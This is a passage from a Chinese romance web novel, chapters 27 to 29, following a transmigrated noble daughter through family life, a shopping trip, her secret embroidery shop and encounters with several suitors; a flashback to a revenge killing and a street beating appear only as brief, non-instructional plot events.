给母亲刚请完安回来的林父一进院子便听到了笑声,他打量院子,是自己院子没走错,他才刚出来一会,厢房便如此欢乐了? 嗯,怕是女儿们过来了。 守门的丫鬟看到二爷回来了,忙行了礼笑着道:“二爷,二姑娘四姑娘已经到了。” 林怀诚心领神会,定是小女儿又干了什么荒唐事,故意逗夫人开心呢。 林怀诚摇了摇头,他这个小女儿啊,就是一个活宝,转念又想到大哥前几日同他商议之事,哎,女儿们大了,是该嫁人了。 不再多想大步踏门而入,众人一见是二爷回来了,忙不迭起身行礼。 林怀诚摆了摆手,转头仔细打量着两个女儿,他的女儿果真出落的愈发好看了,不动声色的满意点头,便开口询问众人为何笑的这般开心。 姚氏只道还不是芸儿这个活宝,一大早的小嘴便给抹了蜜似的,将咱们都给哄的脸都快笑僵了。 林怀诚打量着还在傻乐的小女儿,点点头道:“嗯,芸儿最近表现的十分之懂事,情儿将弟弟妹妹照顾的很好,” 大女儿最近没打弟弟,是值得夸赞的。 林怀诚笑着继续道:“今日便叫你们母亲带着你二人出去逛逛,再添置些首饰,都是大姑娘了,打扮的漂漂亮亮的才好。” 两姐妹躬身行礼,林诗芸抱着姐姐的胳膊差点蹦起来,太好了!终于能出门了! 林诗情捏了捏妹妹的胳膊,叫她收敛点。 林诗芸忙小声道,人家高兴嘛,翠云楼的酱肘子,姑娘我来了! 林诗情扶额,她该怎么不动声色地将妹妹的嘴巴给缝上呢。 夫妻二人装作看不见姐妹二人的互动,忍着笑起身去了饭堂。 林诗芸冲姐姐扬起了个大笑脸,一个闪身又跑到陈妈妈身边 道:“妈妈,你先回院子等我,我跟着母亲和姐姐出去逛上一逛,下晌回来给你带好吃的!” 陈妈妈的身子顿了一下,同王妈妈交汇了个眼神才道:“好,老奴带回来不少儿媳做的酸菜,姑娘爱吃酸菜鱼,晚膳给姑娘做酸菜鱼吃,姑娘在外头切记听夫人的话,不可随意乱逛。” 林诗芸一听酸菜鱼,直将头点的跟啄木鸟似的,她最喜欢陈妈妈儿媳做的酸菜了,够酸又够味,“谢谢妈妈,我最最最喜欢吃妈妈做的酸菜鱼了!妈妈真好!” 至于后边半句早就叫她给自动忽略了。 这话一说完林诗芸便被无语到极致的林诗情给领走了,吃吃吃,妹妹心中就只有吃这一事了。 陈妈和王妈小声说了几句,便出了姚氏的院子。 她去照顾叶姨娘这事已经定了,等晚间她向姑娘说明,明日便是要过去的。 姑娘定也是希望她过去的,毕竟叶姨娘在姑娘心中同生母无异。 只是不管姨娘生了哥儿还是姐儿,之后她都是要回姑娘身边的,姑娘是她看着长大的,再也没有比她更会照顾姑娘的了。 一家人热热闹闹地用完了早膳,姚氏去吩咐些琐事再换身衣裳准备一会出门。 林景明去了书院,林诗情主动请缨将小弟送去府学读书,小弟见二姐姐要送自己是一下也不敢闹腾的,他怕挨揍。 一起在府学的还有三房林景天。 林诗芸没去,三房众人故意避着她,她也不上赶着往人家身前凑,同父同母又怎样,她不在乎。 她抿着嘴笑的狡黠,她有更重要的事情要做。 今日这般风和日丽的好日子,不坑个爹不可惜了? 林怀诚要出门同友人小聚,这刚一出院子,便看到了路上又在蹲守自己的小女儿。 这似曾相识的画面,叫林怀诚这个当爹的没忍住抽了抽嘴角。 此番只两个可能,小女儿要么有求与他,要么,又问他要钱来了。 这么多年了,林诗芸还是不敢在姚氏面前造次,但是姚氏不在的时候,她是可以对爹爹造一点点次的。 于是一见爹爹出了院子,便从花丛后面跑了出来,小跑着上前拍爹爹马屁。 “好不容易休沐一日,爹爹怎的不在家中休息,用完早膳便要出门?爹爹果真是辛苦了,叫女儿十分心疼。” 林怀诚看着对他满脸心疼的女儿忍笑,故意皱着眉头道:“嗯,爹爹不累,芸儿便有话直说吧,是想要爹爹的荷包呢,还是想求爹爹做什么事情呢?只要不是什么过分的要求,爹爹应还受的住。” 林诗芸尴尬的咳嗽了两声,忙抱住了林父的胳膊嘘了一声,小心的看了一眼林怀诚的身后,见父亲身后除了小厮再没有别人出来才松了口气道:“爹爹真是太了解女儿了,” 伸出手嘿嘿笑道:“您再给女儿发些零花钱呗,今日出门逛街,女儿总不好拿个瘪了的荷包出门吧。” 说着还拍了拍自己空空如也的荷包,一脸您不给我我就不放您出门的架势。 林怀诚一副早就看穿了女儿的模样,嘴上道着:“跟着你母亲出门,你带银钱作甚,” 手上却是动作麻利的解下了腰间的荷包,还故作不舍的看了两眼,最后叹了口气直接塞到了林诗芸的手上,故作大方道:“爹爹的月俸都在你母亲呢,这些银子便全都给你罢,爹爹这次出去就蹭吃蹭喝了。” 林诗芸接下,垫了垫荷包的重量,笑的见牙不见眼的,“谢谢爹爹,爹爹你真好,爹爹是天底下最好的爹爹了,芸儿定给爹爹买好吃的带回来,” 林怀诚无奈,怎么就一门心思的都在吃上呢,“别都买了吃食,也买些好看的首饰戴戴,” 林诗芸却朝爹爹扬起了一个大笑脸,说了句爹爹我去找姐姐便飞速的跑走了。 徒留老父亲一人对着空气哀叹,这孩子,也不知道这跳脱的性子到底是随了谁,一肚子的鬼心眼,他小时候也没这般淘啊。 身后的小厮却是笑着朝林怀诚竖了个大拇指,“还是二爷您有先见之明,只装了少许的碎银在身上,四姑娘怎么想都不会想到您将银票都放哪里了。” 银票都在小厮身上呢。 林怀诚挑眉一笑,转脸又恢复成那个高深莫测不苟言笑的林二爷,他点点头只道了句,走吧,于大人几个还在等着呢。 院门处围观了全程的王妈妈憋了半天这才终于笑了出来,这父女俩,说四姑娘不是随了亲爹的性子都没人信的。 姚氏哭笑不得的听完王妈妈的叙述完事情经过,也这般道:“二爷总说芸儿性子跳脱也不知是随了谁,您看看他做的这些事情,芸儿不随他还能随了谁呢,真是的,当爹的还跟自己女儿玩心眼。” 言罢又考虑了一瞬,“两位姑娘的月例是该涨涨,大嫂早就给诗瑶她们涨到二十两了,罢了,公中给十两,咱们便也添上十两,明儿也是,二十两涨到三十两吧,孩子大了,开销也大。” 尤其是姑娘家,到了议亲的年龄,也该经常出去走动走动,身上是少不得要多带些银钱的。 说到议亲,姚氏轻轻皱了皱眉头,谢相夫人前些时日遥她赏花被她给拒了,她听大嫂提了一嘴,侯府同相府是想联姻的。 谢夫人见过诗瑶诗情,大嫂说谢夫人好似更中意诗情一些,虽说两家门第相当,相府也是顶顶知礼的人家,只是,只是她听说谢相二子不学无数,品行顽劣。 姚氏叹了口气,终究是眼见为实,还是看看再说吧。 第27章 林诗芸找到姐姐,将从父亲那要来的荷包展示了一番,林诗情无奈叹气,她是真的拿妹妹一点办法也没有,但心里又有些羡慕妹妹能无所顾忌的同父亲撒娇。 只是虽说羡慕,但她却是不嫉妒的。 她的性格沉稳,妹妹天性活泼,她们各有各的优点,比较不得。 马车上,姚氏看着林诗芸已经没了的刘海点了点头,即使藏着掖着,也还是出众的一张脸,如今没了刘的海林诗芸,五官显的更大气了一些,像是一株正在绽放的牡丹花,天姿国色,婷婷袅袅,娇艳动人。 再观亲女,林诗情的相貌是随了她的,连性子也是,举手投足都是侯府千金的端庄。 林诗芸感受不到额前的刘海还有一些不习惯呢,刚才她换衣裳时姐姐硬是叫丫鬟将她的额头全部给露了出来,好看是好看一些了,只是 她怕再有人说她是狐狸精 她知道的,长相是爹妈给的,狐狸精是夸赞,但是她不想给姐姐惹麻烦。 她还记得那人对着她色眯眯的眼神,和对方冷不丁伸出的咸猪手。 是姐姐将她护住,大声斥责了那人,还去和双亲告状。 那是在侯府的一场宴会里,三叔的一个喝醉了的朋友。 但是醉酒从来不是做坏事的理由。 小小的姐姐气到不能自已,将她牢牢的护在身后,据理力争,要求父亲惩罚那人。 可是事情还是不了了之了,因那人尊重的身份,也因为除了她们姐妹,没有人见到那人对林诗芸的侮辱,还因为,她是女子,不能宣扬 无论古今,恋童的变态都不在少数,林诗芸不是吃亏的性子,不久之后她同春雨一起偷偷出了府,在黑夜里亲手解决了那个人,春雨那时候的战斗力就已经很强了,她们伪造了那人酒后失足落水的假象,叫他死无对证。 她猜想爹爹和大伯是知道事情是她做的,他们不动声色的帮她消除了痕迹,扫清了障碍。 林诗芸知晓,即使自己不出手爹爹也会帮自己报仇的,只是需要有充足的计划,不能贸然行动而已。 但是她更愿意去自己直面麻烦,即使过程会很曲折,即使她会受伤。她知道,依靠别 人解决的从来不是问题,而会让自己更加怯懦。 她很勇敢,她可以直面麻烦解决麻烦。 她可以装的很乖,但不会真的乖。 也是自那件事情开始,姐姐对她更是寸步不离,她心中感动非常,看着镜中自己愈发明艳的相貌,又有些迟疑。她听了姨娘的话,留起了刘海,无论走到哪里,尽量放低自己的存在感,也尽量不给姐姐惹麻烦。 今日姐姐态度强硬的叫她将五官露出,无非是想告诉她,没关系的,怎么样都没关系,她们都已经长大,她们不需要害怕,侯府可以护住她,姐姐也可以。 她相信姐姐,也相信自己。 一路上,林诗芸都在叽叽喳喳的同姐姐说着话,并且在间隙询问姚氏午膳可不可以去翠云楼吃酱肘子,还拿出了父亲的钱袋,说父亲请客。 姚氏失笑,这丫头还知道替父亲送人情呢,回去告诉二爷又要偷摸的给小女儿塞钱了。 娘几个的第一站自然是首饰铺子。 林诗芸独爱金银,选了两只金钗,便问店家可有小兔子耳坠。 上次大哥送的耳坠应是掉山上去了,她还是买个一样的比较好,不然不是浪费大哥的一番心意了。 而且她也是极喜欢那对小兔子耳坠的。 小二帮着找了几对,都不是大哥送的那个,林诗芸只好作罢,想着一会去别家店看看。 姚氏给姐俩一人定做了一套头面,林诗情是绿宝石的,林诗芸是粉碧玺的,都是符合二人性格的颜色。 成衣铺子的夏款尚未上新,姚氏只买了几匹鲜亮的锦缎。 好巧不巧的,刚出了布庄的大门便遇到了姚氏的嫡姐姚玉英,姚玉英手上牵着个七八岁的女童,一见到众人便一头扑进了林诗情的怀里,一口一个珠珠好想情儿姐姐,给林诗芸看的咋舌,只觉这丫头是抢了自个儿的台词。 本就是亲姐妹,这下便一起逛了起来。 姚玉英是极喜欢林诗芸的,她觉得当年自己是沾了林诗芸的福气才生出了这般可爱的女儿,女儿嘴甜又乖巧,翻版林诗芸的模样。 林诗芸看着一直扒着姐姐的珠珠撇了撇嘴,她倒也没打算跟小屁孩计较,只是小屁孩难缠的紧,一会闹着姐姐要这个,一会便要那个。 罢了,姐姐又跑不了,今日便借给小屁孩吧。 她眼珠子一转,便想自己个儿出去逛逛。 于是她便试探性的同姚氏提了,姚氏也没为难她,只叫她带好护卫和丫鬟,贴心的递了个荷包过去,叫她看上什么便买些什么,午膳的时候直接去翠云楼便是。 林诗芸欢欢喜喜的接了荷包,同姚氏做了保证之后欢快的带着丫鬟护卫走了。 姚氏摇摇头,姚玉英忍笑道:“这丫头,做什么事都写在脸上,还当别人不知道她那点小心思呢。” 姚氏点点头,“芸儿自以为隐瞒的很好,其实她买下绣坊的事情,我和二爷一早便知晓,这孩子没什么安全感,我们索性便由着她折腾去,看着她干的有模有样的,我们也为她感到高兴。” 姚玉英点点头,思趁了半晌道:“我是极喜欢这孩子的,不若你将她给我做儿媳吧?我保证是个好婆母,三个儿子认你挑,怎样?” 姚氏其实是觉得可行的,芸儿天真善良,性子活泼,若是高嫁或是嫁入规矩大的人家,怕都是要吃亏的,嫁入将军府确实不错,嫡姐喜欢芸儿喜欢的紧,定是会当成亲女般善待的。 但是这事她确实做不了主,只道:“您知道的,这事我做不了主,还得同二爷商量一番的,” “再说芸儿前头三个姐姐呢,没道理姐姐们没定下婚事,最小的先定下的道理,我自然是想和姐姐做亲家的,只是这事,还得从长计议啊。” 这边林诗芸一出门便放飞自我了。 一路走一路买,在身后两个护卫手上已经拿满了吃食的时候终于到了绣坊。 绣坊的生意果真不错,三三两两的女娘来来往往,很少有空着手离开的。 林诗芸叫护卫先将吃食送回马车上,自己施施然进了绣坊。 女掌柜一见姑娘来了便迎了上去,惊喜道:“姑娘可算是来了,玲儿天天念叨您,” 林诗芸笑着道,“我这好不容易出来一趟便赶紧来瞧瞧,春雨总是同我形容绣坊的生意如何好,我这终于亲眼瞧见了,娘子辛苦了,” 略作寒暄几人便上了三楼的雅间,楼下来来往往的,也不是说话的地方。 林诗芸叫春雨将自己路上买的礼物给了孙娘子。 “咱们是绣坊,布匹衣料都是不缺的,给娘子买了些胭脂水粉,给玲儿的是文房四宝和一些吃食,我不常出门,绣坊的事辛苦娘子了。” 孙娘子双手接过,心中温热嘴上也道:“姑娘总是这样客气,不是您我们娘俩哪里能过上如今的日子,您可千万别这么说,我做的都是分内之事,您给我们的够多了。” 说起来这娘俩真的是林诗芸给救回来的,不然怕是熬不过前年冬日。 彼时林诗瑶同林诗情已经14岁不必去上女学了,府上请了位女先生专门教二人琴棋书画。 那日林诗意也恰巧得了风寒,只有林诗芸一人去上学。 冬至已过,天气已经极冷了,终于等到了下学,天上却下起了雪,不多时便越下越大,天地渐渐白茫茫一片。 马车踏着雪花咯吱咯吱作响,路面有些湿滑,马车行的很慢。 路上的行人也渐渐的少了起来,马车内燃着炭盆,林诗芸抱着汤婆子,百无聊赖的透过车窗向外看去。 鹅毛般的雪花落在古朴的建筑上,是很美的雪景,除了,那个显得有些突兀的在大雪中还在叫卖东西的小姑娘。 小姑娘七八岁的模样,头上身上已经落满了雪。 她急切的向匆匆而过的行人兜售着篮子里的帕子和头花,却被人不耐烦的推倒在地。 是啊,大雪纷飞,行人都在急着回家,又有谁会停下来买她的东西呢。 她的手上已经生了冻疮,脸上也是,北风呼啸,将她的小脸刮出了斑斑痕迹。 被推倒了她也没有哭,而是又爬了起来,继续兜售。 马车由远及近而来,终于来到了小姑娘的身旁。 如此华贵的马车,小姑娘是不敢靠近的,她小心翼翼的看着,期盼马上的贵人能施舍她几分银钱买上一块帕子就好。 这时,几声不甚响亮的女声传了过来,“玲儿,玲儿,” 女子小跑着上前紧紧地抱住了女儿,嘴上说着咱们回去咱们回去,女子面色苍白,大口大口的喘着粗气,林诗芸看着,生怕她下一瞬就倒地不起。 叹了口气,林诗芸叫停了马车,语气平淡的朝车夫吩咐道:“请那对母女上来。” 车夫虽是不解,但是不敢忤逆林诗芸,他哎了一声,拢了拢身上的衣裳,跳下马车对可怜的母女发出邀请。 侯府的教养真的很好,车夫面对身着破烂不堪十分狼狈的母女也是眉眼温和的说话,不会因为天寒地冻而心生怨气。 林诗芸不是圣母。 但是她确实对小姑娘生了恻隐之心。 她刚穿来时,不是也是这般吗,满手的冻疮,饿着肚子凄惨的活着。 她好像,看到了真的林诗芸,那个那般努力生活的原身…… 母女二人颤颤巍巍上了车厢,小姑娘被母亲紧紧的拦在怀里,母女二人感受着车厢的热气,面对贵人,女子躬着身子并不敢抬头,只是不断的说着感谢的话。 林诗芸不自觉地想,若是原身的娘亲也是这般疼爱自己的孩儿就好了 林诗芸 什么也没问,她叫春雨给小姑娘拿了些点心,问了娘俩住的地方,并将所有的帕子和头花买下,多付了一些银钱这才回府。 她不是什么悲秋伤春的人,也只难过了那一瞬便将此事抛之脑后。 只是夜里守夜的春雨闲来无事在榻前翻看今日买下的帕子和头花,竟然惊喜的发现里头还有张帕子是双面绣,且所有的帕子都很精美,绣娘手艺精湛,只是帕子除了双面绣的料子,其余的都是普通的棉布,不甚上档次罢了。 林诗芸亦是惊喜,想到过几日便是姨娘的生辰,这张帕子送姨娘正好合适的,帕子虽小,但却稀罕不易遇到,若是送母亲或老太太可能会被说小气不上心,但是这种绣品,姨娘却是难得一见的,她拿给姨娘,姨娘定会高兴。 不说姨娘了,她也是只在母亲那见过双面绣的,那是一面不大的屏风摆件,母亲时不时的便要拿出来欣赏一番,十分珍惜。 想到过完年便是母亲的生辰,林诗芸便同春雨道:“明日若是停了雪,你便去找这对母女,再送些银钱过去,说是给这张帕子补的差价,” 春雨点头,虽觉得一块帕子而已,姑娘给的十两已经够多了,但她并未说什么,姑娘自有她的道理。 林诗芸略微沉吟一瞬又道:“再问问那位娘子还接不接双面绣,若是接,便多给些银钱定上个屏风,过完年便是母亲的生辰,咱们也该准备准备,” 春雨恍然大悟,忙不迭点头,觉得姑娘想的实在周到。 第二日春雨不光给补了十两的银钱,还又付了二十两的定钱,姚氏的生辰在二月,春雨给送来一些木炭叫娘俩住的暖和一些,孙娘子的手上也生了冻疮,虽不如小姑娘的严重,但是若不赶快养好,怕是绣活便赶不出来了。 春雨隔三差五地上门去送些吃食布料,孙娘子母女对林诗芸自是感激万分,孙娘子只觉的林诗芸是自己的贵人,自己是托了贵人的福气才有了如今的生活。 而林诗芸,从头到尾也没问过孙娘子的过往,她只道,人都要往前看,我管你从前作甚? 你只管努力,其他的,交给天意。 第28章 认识孙娘子之后的事情便很简单。 林诗芸本就存了做生意的心思,手上又有孙娘子这个资源,她凑了银钱买了铺子,孙娘子手艺精湛能说会道,二人一拍即合,在今年开春的时候绣坊便开了起来。 林诗芸没叫孙娘子吃亏,给了四成的利,毕竟她是一个甩手掌柜,绣坊从装修到开业都是孙娘子自己跑的。 孙娘子也是懂得个感恩的,她知道林诗芸是侯府千金,能跟着姑娘做事已经是她的福气了,且还给了她四成的利润,是她从前不敢奢望的。 林诗芸也没多待,二人说了一会话便离开了,每月的账本春雨都会带回府给她看,她也没什么不放心的。 今日见到绣坊的生意确实好,她的一颗心总算是落下。 她算了算,到年底她投出去的本金就能赚回来了,以后的便都是利润。 心情非常好,走路都要飘起来了。 眼看时间不早,便加速往翠云楼走去。 这条街多数都是饭庄酒楼,闻着烤鸭的香味,林诗芸叫护卫去排队买烤鸭。 路上的行人不少,春暖花开了,大街上桃红柳绿的,挎着篮子叫卖的此起彼伏不绝于耳。 林诗芸瞧着有卖槐花的,便叫春雨全部买了下来,槐花不压秤,一篮子也才十文钱。 满意的点点头,春天不光野菜多,也是吃花儿的季节呢。 越往前走人越多,围了厚厚的一堵人墙,甚至还能听到些打骂声。 这个时候,华国人凑热闹的基因便觉醒了,林诗芸伸长了脖子,想看人群里头到底在吵闹些什么。 只是刚看了一眼便叫林诗芸皱紧了眉头,这是一处酒坊门口,一男子正在打骂妻女,那妻子将两个女儿牢牢的护在身下,躲避男子挥来的拳脚,而围了一圈的百姓,也有出声制止的,但多数都在看热闹。 人群里不断有人在说着打人的男子有多混账,这男人是酒坊的东家,经常会因为丁点子琐事对妻子大打出手。 男子今日一早从相好的那回来,便问妻子要钱给相好的买什么首饰,妻子没给,男子便恼羞成怒拳脚相向。 那人叹了口气,这酒坊一直是刘氏操持着,王二麻子是一天也没有管过的,邻里街坊也都劝过,但是每次只要有人劝,王二麻子便打的更过分,咱们虽可怜刘氏母女,但是也都不敢再开口了,总归是家务事,谁也管不了的。 林诗芸已经被气到了。 家务事?对妻女动手家暴是家务事? 林诗芸瞬间便上头了,为什么一句家务事便将男子的暴行给合理了!凭什么!欺凌弱小的狗东西!官府不管姑奶奶管! 只是她刚一挤进去,便见一身着紫衣华服的贵公子将男子一脚给踢飞了。 紫衣公子挑着眉,指着地上的王二麻子大声道:“就是你吧,偷了小爷的玉佩,来人,给我打,打完送去官府!什么玩意也敢偷小爷的东西!” 这人一看便是谁家的纨绔公子,说话间动作和语气完全是吊儿郎当的,一脸无所谓的看着下人对王二麻子暴揍。 王二麻子莫名其妙的挨了揍是直喊冤枉,但就这位公子非富即贵的架势,又哪里会冤枉吃喝嫖赌的王二麻子,围观的百姓只觉得这个王二麻子铁定是偷了人家玉佩被人找上门了的,人家带了那么多下人,还能冤枉他?一定是有证据啊! 紫衣公子可没管周围百姓的想法,他刚刚可是在楼上看了好一会这个贱民打人呢!他一侧的唇角勾起,冷笑道:“什么东西,大老爷们打女人,呵!” “都给我使劲点,没吃饭吗!” 接着又啪的一声合上了手中纸扇,坏笑道:“哦,对了,将他的手废了再送去官府,看他还敢不敢再偷小爷的东西了,爷的玉佩价值千金,废了他的手都便宜他了。” 这人似乎是觉得周围的目光有些多,淡淡扫视了周围一圈,人群立马便散开了。 但是多数人心中俱是涌起了一股快意,这位公子今日可是干了件大好事,大快人心! 林诗芸看着王二麻子在被揍的哭爹喊娘,尤其是被打断双手的时候那凄厉的一声惨叫不由的扬起了唇角。 嗯,今日天气不错,烂人嘛,就该吃尽苦头再烂在监狱里。 再看那妻子,她将两个女儿搂在怀中,捂上了她们的耳朵,不叫女儿听见来自亲爹的惨叫。 只是林诗芸分明看到了女子眼神中的快意,感受到了林诗芸的视线,女子迅速的低下了头,心中期盼着男人做一辈子的牢永远不要回来才好。 紫衣纨绔自然也看到了林诗芸,只这一眼,他便被惊艳住了,他直勾勾的看着林诗芸,觉得今天自己这好事做的可太值了!这是碰到仙女下凡了啊! 林诗芸转头对上了纨绔的视线,并未在意,只微微笑了一下转身便离开了。 就这一笑,叫谢子阳直接看迷了眼。 他呆愣愣的站在原地,痴迷的望着林诗芸的方向,他感觉自己置身于花海里,而面前的女子朝他羞涩一笑,道了句,谢郎,奴家总算找到你了。 他刚想将仙女揽入怀中,白日梦便被下人给打断了…… 下人叫了三声少爷才将谢子阳的思绪给拉了回来,而他再看向前方的时候,哪里还有仙女姐姐的身影呢! 谢子阳气急,没好气道:“什么事!你最好是有很重要事,不然小爷打死你!” 下人叹了口气,不知是哪里又惹到自己少爷了,想到刚才少爷的计划,装模作样的拿着少爷的玉佩道:“丢失的玉佩 已在这贱民身上找到了,请二爷过目。” 谢子阳这才想起自己正在见义勇为呢,戏是还得演下去的,他伸手捏起并没有丢失的玉佩装模作样道:“找回来了便好,不过他偷了爷的玉佩是事实,此乃证物,你拿着玉佩去官府,告他个人赃俱获。” 下人接过玉佩刚要走,便听谢子阳啧了声又道:“告诉府衙的人,关他个十年八年的就行了,也不必关太长时间。手也不必治了,省得出来继续行窃。” 下人忍着笑,对着身后的一群人挥了挥手,带着被打了个半死的王二麻子离开了。 谢子阳看着面前的酒楼,以及跪在地上磕头求放过的母女三人,大发慈悲道:“你男人做下的错事跟你又没甚关系,你且起来吧,你酿的桑葚酒爷喝过,味道不错,去给小爷搬上两坛,小爷要带去春风楼同兄弟们畅饮!” 王氏感激涕零,她知道,这位爷是在帮她,忙不迭的进屋抱了两坛桑葚酒出来。 谢子阳朝身后招了招手,下人接过,谢子阳大声道:“明日小爷叫人来买些梨花白,你且多准备一些,春风楼的姑娘们愿意喝。” 王氏哎哎称是,谢子阳这才大摇大摆的摇着扇子离开了。 他来买酒,就没人敢来找这妇人的麻烦,啧啧,他可真是个大好人啊! 只是,那仙女姐姐不知是谁家的女娘,他还得好好打听一番才是。 哎吆,今日果真是出来对了! 林诗芸叹着气,也没了买东西的心情,带着春雨直接去了翠云楼。 这个时代的女子,到底该如何保护自己呢。 她不知道自己到底能做些什么,绣坊的绣娘多数是被休弃的女子,孙娘子说她想帮帮她们,就像她帮助她一样。 可是天下之大,还有更多的深陷囫囹的女子,她们又该如何自救呢。 春雨能感受到姑娘的低气压,她张了张嘴,不知道如何劝慰。 这种事情,实在是太多了…… 一路无话,眨眼间便来到了翠云楼门前,林诗芸轻轻吐了口气,收拾好心情这才走了进去。 只是迎面却撞上了一人,巧得很,正是在山中帮她捉了四只小兔的孟云上。 出来的人显然也认出了林诗芸,孟云上隐忍着内心的惊喜,故作镇定的朝林诗芸点了点头。 林诗芸确实有些惊讶,这也太巧了,这才没过几日便又见面了。 “猎户大哥,好巧啊,咱们又见面了。” 孟云上露出淡淡的笑意,点了点头,抱拳道:“是啊,又同姑娘见面了。” 是缘分吧,他们定是极有缘分的,不然也不会再次相见。 林诗芸眉眼弯了弯,“还不知大哥姓名呢,啊对了,小兔子都还活蹦乱跳的,但是大兔子都已经被我给吃掉了。” 她想亲口听到他到底是不是孟云上,万一真的是孟云上,嗯 是就是吧,反正她也没真的去勾引,他们只见了两面而已。 孟云上不自觉嘴角上扬,回道:“在下孟云上,姑娘若是,” 感觉自己有些急迫了,心中也在思趁如何吸引到她…… 孟云上停顿了一瞬接着道:“姑娘若是还需要兔子,或者,或者想去山中捡菌子,孟某都是可以奉陪的。” 捡菌子? 采蘑菇的小姑娘?甚好甚好,她可以的! 林诗芸眼睛突然变得锃亮,笑容也愈发灿烂,“好啊好啊,有机会的话定要上山去捡菌子,野生菌菇最是鲜美,不过兔子就不用了,我院子里的两只已经够小丫鬟们忙活了,” 孟云上望着林诗芸明艳的笑容,感觉自己的呼吸都有些急促了,他努力抑制自己不叫情绪太过外露,轻轻点头,大手不自觉抚了抚胸口,思虑过后还是决定将东西还给她。 他从怀中取出个小布包来,轻轻的打开才递到林诗芸身前,“这是姑娘那日不小心丢在山中的,恰被孟某捡到,现在物归原主。” 林诗芸惊喜的接过,意外之意啊! “多谢孟大哥,终于找到了,这是我大哥送的,叫我念念不忘了多日,今日找了几家的铺子都没有找到一样的耳坠,幸亏被孟大哥捡到了,孟大哥真是个大好人。” 孟云上推说不敢当,他不动声色的观察着林诗芸的表情,见对方并无异样松了口气。 这时候姚氏身边的大丫鬟却找了出来,说夫人和二姑娘在雅间正等着四姑娘用膳。 林诗芸笑着点头,再次谢过了孟云上准备上楼。 林诗芸同孟云上笑着道别,“家母和姐姐还在等我,我这便进去了,多谢孟大哥,下次见啊。” 说完便朝他挥了挥手便进了翠云楼。 孟云上回望了一眼那俏丽的身姿才转身离开,他们果真是有缘的,只是,只是他还不知她的闺名,四姑娘,郑四姑娘吗…… 与此同时,宋晏的马车也到了翠云楼门口。 他一张脸清冷无波,待听完护卫的转述也只是淡淡的撇了已经只剩背影的孟云上一眼。 宋晏一路风尘仆仆,这刚进城,便得了姚君远的消息过来了,倒是他来的迟了,错过了这么一场。 他的眼神再次望向店内,正好可以看到二楼拐角处林诗芸一闪而过的裙摆,唇角微微勾起,大步踏入。 贱民而已,也配肖想芸儿? 哼,不自量力的蝼蚁罢了。 第29章 雅间是二楼最边上最大的那一间。 还未进门,林诗芸就听到雅间内传出的说笑声,一道男音插科打诨,将一屋子的女眷哄得眉开眼笑的。 不用仔细听她都知道是谁,真是哪里都有他! 林诗芸翻了个大大的白眼,这狗东西难不成在侯府按了监控?怎么姐姐一出来就能碰到他,哼,没安好心的家伙! 丫鬟将门打开,林诗芸秒变脸,她眉眼带笑的跟母亲和姨母行礼,待看到姚君远的时候,不动声色地瞪了那人一眼才唤了一声大表哥。 只是注意听的话,林诗芸的声音颇有些咬牙切齿。 姚君远对表妹这不甚走心地招呼也不甚在意,轻轻点了点头,只是刚才一瞬着实是被林诗芸给惊艳到了。 好家伙,小表妹这是不装了啊? 就这额头露出来,一双桃花眼水波潋滟的,原本青涩的五官如今瞧着也成熟了许多,当真是国色天香,宋晏那小子一会来了,怕是要被小表妹迷成傻子,别再控制不住表情在姑母面前露馅啊。 啧啧两声,这小丫头长得太好也不知是福是祸啊,转念又一想,他操这个闲心作甚?若是宋晏连自己女人都护不住,这端王世子也就不必当了。 他还是觉得大表妹好。 姚君远的目光不着痕迹地落在林诗情脸上,大表妹才美呢,美的赏心悦目,叫人见了内心平和,不那么夺目,不妖艳,但也不平庸,一切都刚刚好。 林诗芸坐在姐姐身旁,撇着嘴瞧着姚君远的模样,已经快要忍不住弄死表哥的心了,妈的今天怎么回事,这狗东西干嘛一直盯着姐姐?叫母亲和姨母看出什么来怎么办?他不是故意的吧?想娶姐姐! 不行!绝对不行! 古代表哥表妹成婚是常事,尤其是王公贵族最会讲什么亲上加亲! 可这近亲结婚,万一再生个有缺陷的孩子怎么办!到时候这些古人将这事情再都赖到姐姐身上,说姐姐不祥?上辈子她看过的小说电视剧都这么说的,生出的孩子有一处不合适就怨怼到女子身上!不行不行,她绝对不能叫这事发生! 一时间林诗芸思绪翻滚,就怕她心中所想成了真。 只是她还未想明白这事便听外头传来了说话声,下一刻丫鬟便引着宋晏进来了。 众人起身相迎,姚君远打开纸扇挡住自己半张脸,朝着宋晏挤眉弄眼。 宋晏目不斜视,彬彬有礼的同姚家两位姑母打招呼。 宋晏同姚家姐妹熟悉的很,逢年过节他给自家姨母请安的时候没少遇到两位妇人。 宋晏身量颀长,白衣黑发面如冠玉,举手投足彬彬有礼温润端方,说一声京中最好看的儿郎是不为过的。 宋晏身份高贵,众 人自是要起身相迎。 可对宋晏而言,二位俱是长辈,尤其姚氏是未来岳母,他自是未敢受,反而躬身朝着二人行礼。 除了姚君远,谁也不知道宋晏的心思,众人只当宋晏知礼,况且宋晏确实算是姚氏姐妹看着长大的。 宋晏小时,国公府就像他的第二个家,他有很长一段时日是住在国公府的,对国公府众人的感情自然非常人可比。 姚氏姐妹看到宋晏也都非常高兴,尤其还是长得这么好看的孩子。 姚玉英是知道宋晏出门了的,打量了半晌才道:“这出去一些时日怎得又瘦了,好像也高了一些?快坐,何时回京的?” 宋晏脸上始终挂着温和的笑意,由着二人打量,难得感受来自长辈们的关爱。 “刚到,得了君远的口信,来用午膳。” 姚氏也不做它想,点点头道:“累了吧?先喝口水,今日也没有外人,便留下一道用膳,不必顾忌什么男女大防,索性都是亲戚。” 宋晏也未有迟疑,笑着点头应是。 姚君远还在挤眉弄眼的,看吧,还得是兄弟我啊,不然你能和芸儿一桌用膳? 二位长辈又问了宋晏一些不痛不痒的问题这才将人放过,宋晏这才转过头同林诗情姐妹打招呼。 看到今日的林诗芸,也是不免惊艳了一瞬。没了刘海的林诗芸,露出光洁的额头,眉目如画,少了几分稚气,多了几分瑰丽,五官精致,面上带着淡淡红晕,如同枝头绽放的桃花,璀璨夺目,娇艳欲滴。 他向来是礼数周全的,知道当下不是表现自己情感的时机。 他惯会隐忍,表面上不动声色,心中却是喜欢极了,恨不得上前将人揽入怀中细细端详。 只是眼神还是会不由自主的落到林诗芸的身上。 林诗芸感受到了宋晏的目光,朝对方眨了眨眼,便乖巧的等着用膳。 母亲和姨母都在,她可不敢同外男多说话。 不过姨母说的对,晏哥哥好像真瘦了些,又高了?这芝兰玉树谪仙一般的人儿,可真养眼啊,她决定!今日多吃两碗饭!她要吃五碗!逛了一上午,可累死她了。 美男当前,她胃口大开不算罪过吧,美色下饭啊! 